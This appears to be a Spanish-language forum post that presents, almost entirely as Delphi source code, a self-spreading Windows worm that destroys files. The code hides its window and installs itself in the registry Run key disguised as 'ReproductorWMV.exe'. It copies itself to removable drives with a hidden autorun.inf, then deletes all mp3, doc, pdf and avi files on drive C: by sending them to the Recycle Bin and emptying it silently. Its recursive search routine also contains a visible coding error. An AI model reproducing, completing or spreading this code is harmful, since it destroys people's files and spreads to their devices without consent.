Navegando por la red, me he encontrado con un curioso programa, que lo que hace es buscar los ficheros mp3, doc, pdf y avi, los lleva a la papelera y la vacía. También se copia automáticamente en los dispositivos que se conecten al ordenador, modificando el inicio del SO anfitrión para iniciarse automáticamente en el siguiente arranque.
Si encuentra un archivo llamado "cura.txt" ni se ejecuta, ni se copia.unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Registry;
type
TForm1 = class(TForm)
function ALaPapelera(Fichero:string):boolean;
Function VaciaPapelera:String;
function GetWindowsDirectory : String;
procedure Autorun;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
Lista: set of Char;
procedure CrearLista;
procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
end;
var
Form1: TForm1;
Ficheros1:TStringList;
implementation
{$R *.dfm}
function Tform1.GetWindowsDirectory : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0
then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
Function Tform1.VaciaPapelera;
type
TSHEmptyRecycleBin = function (Wnd: HWND;
LPCTSTR: PChar;
DWORD: Word): integer; stdcall;
var
MangoLib : THandle;
SHEmptyRecycleBin : TSHEmptyRecycleBin;
i:integer;
begin
{Cargamos SHell32.DLL}
{Load Shell32.DLL}
MangoLib := LoadLibrary(PChar('Shell32.dll'));
{Si no se pudo... error}
{if not... error}
if MangoLib = 0 then
Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+
'Cannot load Shell32.DLL');
{Buscamos dentro de la DLL la funcion que queremos}
{Search into DLL the required funtion}
@SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');
{Si no existe... error}
{If don't exists... error}
if @SHEmptyRecycleBin = nil then
begin
FreeLibrary(MangoLib);
Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+
'Cannot find SHEmptyRecycleBinA in Shell32.DLL');
end;
{Vaciamos la papelera, sin sonido ni confirmación}
{Empty the Recycle bin...}
SHEmptyRecycleBin(Application.Handle,'',7);
{Liberamos la DLL}
{Free the DLL}
FreeLibrary(MangoLib);
end;
function Tform1.ALaPapelera(Fichero:string):boolean;
var
FileOp: TSHFileOpStruct;
begin
if FileExists(Fichero)then
begin
FillChar(FileOp,SizeOf(FileOp),#0);
with FileOp do
begin
Wnd:= Application.Handle;
pFrom:= PChar(Fichero+#0#0);
fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
end;
Result:= (ShFileOperation(FileOp)=0);
end else
Result:=False;
end;
procedure TForm1.CrearLista;
var
Letra: Char;
begin
Lista:= [];
for Letra:= 'C' to 'Z' do
if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then
Lista:= Lista + [Letra];
end;
procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);
var
Letra: Char;
Atributos: Cardinal;
begin
if Msg.WParam = DBT_DEVICEARRIVAL then
begin
for Letra:= 'C' to 'Z' do
if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then
begin
if not (Letra in Lista) then
begin
copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);
SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);
with TStringList.Create() do
try
Add('[Autorun]');
Add('ShellExecute=ReproductorWMV.exe');
add('attrib +h Autorun.inf');
try
SaveToFile(Letra+':\autorun.inf');
SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);
except
on E: Exception do
begin
ShowMessageFmt(
'Ocurrió una excepción: %s',
[E.Message]
);
end;
end;
finally
Free();
end;
//ShowMessage('Este es un disco removible '+Letra+':\');
end;
end;
end;
CrearLista;
inherited;
end;
procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
var
srRes : TSearchRec;
iFound : Integer;
begin
if ( brec ) then
begin
if path[Length(path)] <> '\' then path := path +'\';
while iFound = 0 do
begin
if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then
if srRes.Attr and faDirectory > 0 then
BuscaFicheros( path + srRes.Name, mask, Value, brec );
iFound := FindNext(srRes);
end;
FindClose(srRes);
end;
if path[Length(path)] <> '\' then path := path +'\';
iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
while iFound = 0 do
begin
if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then
Value.Add(path+srRes.Name);
iFound := FindNext(srRes);
end;
FindClose( srRes );
end;
procedure Tform1.Autorun;
var
Registro :TRegistry;
Atributos: Cardinal;
begin
Registro:=TRegistry.create;
Registro.RootKey := HKEY_LOCAL_MACHINE;
if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)
then
begin
Registro.WriteString('SystemRoot',GetWindowsDirectory+
'\ReproductorWMV.exe');
copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);
SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);
end;
Registro.Destroy;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
Ficheros:TStringList;
FicherosDoc:TStringList;
dato :TStringList;
i:integer;
begin
BorderStyle := bsNone;
Left := 0;
Top := 0;
Width := 0;
Height := 0;
Visible := False;
Application.Title := '';
Application.ShowMainForm := False;
ShowWindow( Application.Handle, SW_HIDE );
Ficheros:=TStringList.Create;
BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);
SetWindowLong( Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
autorun;
if ficheros.count > 0 then
begin
Ficheros.Free;
form1.visible:=false;
end else
begin
BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
ficheros.Free;
end;
end;
